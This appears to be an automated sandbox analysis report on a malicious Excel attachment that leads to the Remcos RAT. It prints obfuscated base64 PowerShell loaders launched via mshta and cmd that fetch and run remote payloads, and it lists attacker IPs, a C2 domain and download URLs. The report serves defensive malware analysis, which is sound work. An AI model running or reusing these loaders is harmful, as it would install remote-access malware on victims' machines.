Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]34+'jdzamhdny2dit1g1icagicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagicagqurelvrzcgugicagicagicagicagicagicagicagicagicagicagicaglu1ftwjfcmrfrmlosvrpb04gicagicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoilvyte1vti5ebgwilcagicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicagig9xaxbuewzfvyxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicagqkdsvvvfc0ksc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagifmsdwludcagicagicagicagicagicagicagicagicagicagicagicbpdfrvehr6cyxjbnrqdhigicagicagicagicagicagicagicagicagicagicagicague1sktsnicagicagicagicagicagicagicagicagicagicagicagic1oyw1ficagicagicagicagicagicagicagicagicagicagicagicjpykyiicagicagicagicagicagicagicagicagicagicagicagic1uqu1lc1bby2ugicagicagicagicagicagicagicagicagicagicagicagywjms1nzu0feicagicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicagjdzamhdny2dit1g1ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmtkyljixmc4xntaumjqvntuvy3jlyw15a2lzc2luz2xpchnnb29kzm9yy3jlyw15dghpbmdzd2l0agnyzwftawnyzwftlnrjriisiirltly6qvbqrefuqvxjcmvhbxlraxnzaw5nbglwc2dvb2rmb3jjcmvhbxl0agluz3n3axroy3jlyw0udmjtiiwwldapo1n0yvj0lvnmzwvqkdmpo0ludm9rrs1fwhbsrvntaw9uicagicagicagicagicagicagicagicagicagicagicagicikzu5wokfquerbvefcy3jlyw15a2lzc2luz2xpchnnb29kzm9yy3jlyw15dghpbmdzd2l0agnyzwftlnziuyi='+[char]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]34+'jdzamhdny2dit1g1icagicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagicagqurelvrzcgugicagicagicagicagicagicagicagicagicagicagicaglu1ftwjfcmrfrmlosvrpb04gicagicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoilvyte1vti5ebgwilcagicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicagig9xaxbuewzfvyxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicagqkdsvvvfc0ksc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagifmsdwludcagicagicagicagicagicagicagicagicagicagicagicbpdfrvehr6cyxjbnrqdhigicagicagicagicagicagicagicagicagicagicagicague1sktsnicagicagicagicagicagicagicagicagicagicagicagic1oyw1ficagicagicagicagicagicagicagicagicagicagicagicjpykyiicagicagicagicagicagicagicagicagicagicagicagic1uqu1lc1bby2ugicagicagicagicagicagicagicagicagicagicagicagywjms1nzu0feicagicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicagjdzamhdny2dit1g1ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmtkyljixmc4xntaumjqvntuvy3jlyw15a2lzc2luz2xpchnnb29kzm9yy3jlyw15dghpbmdzd2l0agnyzwftawnyzwftlnrjriisiirltly6qvbqrefuqvxjcmvhbxlraxnzaw5nbglwc2dvb2rmb3jjcmvhbxl0agluz3n3axroy3jlyw0udmjtiiwwldapo1n0yvj0lvnmzwvqkdmpo0ludm9rrs1fwhbsrvntaw9uicagicagicagicagicagicagicagicagicagicagicagicikzu5wokfquerbvefcy3jlyw15a2lzc2luz2xpchnnb29kzm9yy3jlyw15dghpbmdzd2l0agnyzwftlnziuyi='+[char]34+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $isohemolytic = 'jgnhc2vtyxrlzca9icdodhrwczovl3jlcy5jbg91zgluyxj5lmnvbs9kexrmbhq2mw4vaw1hz2uvdxbsb2fkl3yxnzmzmtm0otq3l2jrbhb5c2v5zxv0ngltchc1mg4xlmpwzyanoyrsywrub3igpsbozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2xpzw50oyrozw1pywjszxbzawegpsakumfkbm9ylkrvd25sb2fkrgf0ysgky2fzzw1hdgvkktskymlkzxmgpsbbu3lzdgvtllrlehqurw5jb2rpbmddojpvvey4lkdldfn0cmluzygkagvtawfibgvwc2lhktska2lkzgllcya9icc8pejbu0u2nf9tvefsvd4+jzskyxzlbnrhawxlid0gjzw8qkftrty0x0vord4+jzskc3rhaw4gpsakymlkzxmusw5kzxhpzigka2lkzgllcyk7jhjlc2h1zmzszsa9icriawrlcy5jbmrlee9mkcrhdmvudgfpbgupoyrzdgfpbiatz2ugmcatyw5kicryzxnodwzmbguglwd0icrzdgfpbjskc3rhaw4gkz0gjgtpzgrpzxmutgvuz3rooyrzdwjhy3v0zwx5id0gjhjlc2h1zmzszsaticrzdgfpbjskyxj0ahjhbgdpysa9icriawrlcy5tdwjzdhjpbmcojhn0ywlulcakc3viywn1dgvsesk7jhvuywrzb3jizwqgpsatam9pbiaojgfydghyywxnaweuvg9dagfyqxjyyxkoksb8iezvckvhy2gtt2jqzwn0ihsgjf8gfslblteuli0ojgfydghyywxnaweutgvuz3rokv07jg1pbnrsawtlid0gw1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygkdw5hzhnvcmjlzck7jg1pbgxpbmvyid0gw1n5c3rlbs5szwzszwn0aw9ulkfzc2vtymx5xto6tg9hzcgkbwludgxpa2upoyrwcm9kawdhbca9iftkbmxpyi5jty5ib21lxs5hzxrnzxrob2qoj1zbsscpoyrwcm9kawdhbc5jbnzva2uojg51bgwsieaojzavqxpmog8vci9lzs5ldhnhcc8vonnwdhrojywgjyrozxrlcm9icmfuy2hpyscsicckagv0zxjvynjhbmnoawenlcanjghldgvyb2jyyw5jaglhjywgj0nhc1bvbccsicckagv0zxjvynjhbmnoawenlcanjghldgvyb2jyyw5jaglhjywnjghldgvyb2jyyw5jaglhjywnjghldgvyb2jyyw5jaglhjywnjghldgvyb2jyyw5jaglhjywnjghldgvyb2jyyw5jaglhjywnjghldgvyb2jyyw5jaglhjywnmscsjyrozxrlcm9icmfuy2hpyscpkts=';$choleate = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($isohemolytic));invoke-expression $choleate

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Remote Access Functionality

Detected Remcos RAT

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Mutex created: \Sessions\1\BaseNamedObjects\Rmc-PVMSPM

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	121 Scripting	Valid Accounts	121 Command and Scripting Interpreter	121 Scripting	211 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	23 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	LSASS Memory	21 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	Logon Script (Windows)	Logon Script (Windows)	211 Process Injection	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Clipboard Data	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Obfuscated Files or Information	NTDS	1 Remote System Discovery	Distributed Component Object Model	Input Capture	1 Remote Access Software	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Install Root Certificate	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	3 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	14 System Information Discovery	VNC	GUI Input Capture	2 Non-Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	113 Application Layer Protocol	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Cot90012ARCACONTAL.xls	16%	ReversingLabs

Source	Detection	Scanner	Label
http://192.210.150.24/55/creamykissinglipsgoodforcreamythingswithcreamicream.tIF&	0%	Avira URL Cloud	safe
http://192.210.150.24/55/creamykissinglipsgoodforcreamythingswithcreamicream.tIFPZ)p	0%	Avira URL Cloud	safe
http://192.210.150.24/n	0%	Avira URL Cloud	safe
http://192.210.150.24/55/creamyk	0%	Avira URL Cloud	safe
http://192.210.150.24/55/creamykissinglipsgoodforcreamythingswithcreamicream.tIF3	0%	Avira URL Cloud	safe
http://192.210.150.24/55/creamykissinglipsgoodforcreamythingswithcreamicream.tIF-	0%	Avira URL Cloud	safe
https://jktc.pro/g	0%	Avira URL Cloud	safe
https://jktc.pro/-p	0%	Avira URL Cloud	safe
http://192.210.150.24/f	0%	Avira URL Cloud	safe
http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.htahttp://192.210.150.24	0%	Avira URL Cloud	safe
http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.htak	0%	Avira URL Cloud	safe
https://www.verisign.7	0%	Avira URL Cloud	safe
https://jktc.pro/6nDb3Q?&soy=horrible&pelican=icky&bend=trite&workbench=icky&batting=penitent&cop-ou	0%	Avira URL Cloud	safe
http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.htaOKWWS	0%	Avira URL Cloud	safe
https://jktc.pro/leh	0%	Avira URL Cloud	safe
http://go.cr	0%	Avira URL Cloud	safe
http://192.210.150.24/55/creamykissinglipsgoodforcreamythingswithcreamicream.tIFp	0%	Avira URL Cloud	safe
http://192.210.150.24/55/creamykissinglipsgoodforcreamythingswithcreamicream.tIF	0%	Avira URL Cloud	safe
http://192.210.150.24/	0%	Avira URL Cloud	safe
https://jktc.pro/6nDb3Q?&soy=horrible&pelican=icky&bend=trite&workbench=icky&batting=penitent&cop-out	0%	Avira URL Cloud	safe
http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.hta...	0%	Avira URL Cloud	safe
http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.hta1	0%	Avira URL Cloud	safe
http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.hta	0%	Avira URL Cloud	safe
https://jktc.pro/	0%	Avira URL Cloud	safe
http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.hta$	0%	Avira URL Cloud	safe
http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.htating=penitent&cop-out	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
paste.ee	188.114.97.6	true	false	high
cloudinary.map.fastly.net	151.101.129.137	true	false	high
jktc.pro	172.67.163.184	true	false	high
newglobalfucntioninside.duckdns.org	107.173.143.10	true	false	high
res.cloudinary.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://paste.ee/r/o8fzA/0	false		high
https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg	false		high
http://192.210.150.24/55/creamykissinglipsgoodforcreamythingswithcreamicream.tIF	true	Avira URL Cloud: safe	unknown
https://jktc.pro/6nDb3Q?&soy=horrible&pelican=icky&bend=trite&workbench=icky&batting=penitent&cop-out	false	Avira URL Cloud: safe	unknown
http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.hta	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://192.210.150.24/55/creamyk	powershell.exe, 00000007.00000002.441620855.0000000002926000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.485256556.00000000024E3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.210.150.24/f	mshta.exe, 00000004.00000003.424450335.0000000003BAB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.429796823.0000000003BAB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003BAB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net03	mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C725000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C76D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.466152051.00000000038AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038B1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpgX	powershell.exe, 0000000D.00000002.494191890.00000000023E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.527923498.0000000002222000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000007.00000002.444666635.0000000012431000.00000004.00000800.00020000.00000000.sdmp	false		high
http://192.210.150.24/n	mshta.exe, 00000004.00000003.424450335.0000000003BAB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.429796823.0000000003BAB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003BAB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C76D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.466152051.00000000038AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038B1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://analytics.paste.ee	powershell.exe, 0000000D.00000002.494191890.00000000025B4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.diginotar.nl/cps/pkioverheid0	mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C76D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.466152051.00000000038AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038B1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://192.210.150.24/55/creamykissinglipsgoodforcreamythingswithcreamicream.tIF3	powershell.exe, 00000015.00000002.489417640.000000001AB82000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.210.150.24/55/creamykissinglipsgoodforcreamythingswithcreamicream.tIF&	powershell.exe, 00000007.00000002.444969605.000000001AAC0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://go.micros	powershell.exe, 00000007.00000002.441620855.0000000002926000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.485256556.00000000028BD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://192.210.150.24/55/creamykissinglipsgoodforcreamythingswithcreamicream.tIF-	powershell.exe, 00000007.00000002.444969605.000000001AAC0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jktc.pro/-p	mshta.exe, 0000000F.00000003.466152051.00000000038DB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com	powershell.exe, 0000000D.00000002.494191890.00000000025B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://jktc.pro/g	mshta.exe, 00000004.00000002.428631403.000000000035E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424952487.000000000035E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.210.150.24/55/creamykissinglipsgoodforcreamythingswithcreamicream.tIFPZ)p	powershell.exe, 00000015.00000002.485256556.00000000024E3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.htahttp://192.210.150.24	mshta.exe, 00000004.00000003.424171673.00000000030C5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424100886.00000000030C5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.467845451.0000000002685000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000007.00000002.444666635.0000000012431000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000007.00000002.444666635.0000000012431000.00000004.00000800.00020000.00000000.sdmp	false		high
http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.htak	mshta.exe, 00000004.00000002.428631403.000000000035E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424952487.000000000035E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com	powershell.exe, 0000000D.00000002.494191890.00000000025B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://jktc.pro/6nDb3Q?&soy=horrible&pelican=icky&bend=trite&workbench=icky&batting=penitent&cop-ou	mshta.exe, 0000000F.00000002.476811997.000000000041D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.476653364.000000000042F000.00000004.00000020.00020000.00000000.sdmp, Cot90012ARCACONTAL.xls, ~DF04B4D643794D5F54.TMP.0.dr	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com;	powershell.exe, 0000000D.00000002.494191890.00000000025B4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.entrust.net0D	mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C76D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.466152051.00000000038AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038B1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000007.00000002.441620855.0000000002401000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.494191890.00000000021E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.485256556.00000000022E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.527923498.0000000002021000.00000004.00000800.00020000.00000000.sdmp	false		high
https://secure.gravatar.com	powershell.exe, 0000000D.00000002.494191890.00000000025B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.verisign.7	powershell.exe, 00000007.00000002.445283561.000000001C7A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://go.cr	powershell.exe, 00000007.00000002.445283561.000000001C6D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.htaOKWWS	mshta.exe, 00000004.00000002.429965254.00000000054F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000007.00000002.444666635.0000000012431000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.entrust.net/server1.crl0	mshta.exe, 00000004.00000002.429796823.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424930147.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C725000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.445283561.000000001C76D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.466152051.00000000038AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038B1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://jktc.pro/leh	mshta.exe, 00000004.00000002.428631403.000000000035E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424952487.000000000035E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com;	powershell.exe, 0000000D.00000002.494191890.00000000025B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000007.00000002.444666635.0000000012431000.00000004.00000800.00020000.00000000.sdmp	false		high
http://192.210.150.24/55/creamykissinglipsgoodforcreamythingswithcreamicream.tIFp	powershell.exe, 00000007.00000002.441620855.0000000002926000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.210.150.24/	mshta.exe, 0000000F.00000003.466152051.00000000038F7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.476994248.00000000038F7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.210.150.24/55/crm/creamkissingthingswithcreambananapackagecreamy.hta...	mshta.exe, 00000004.00000003.424450335.0000000003B64000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
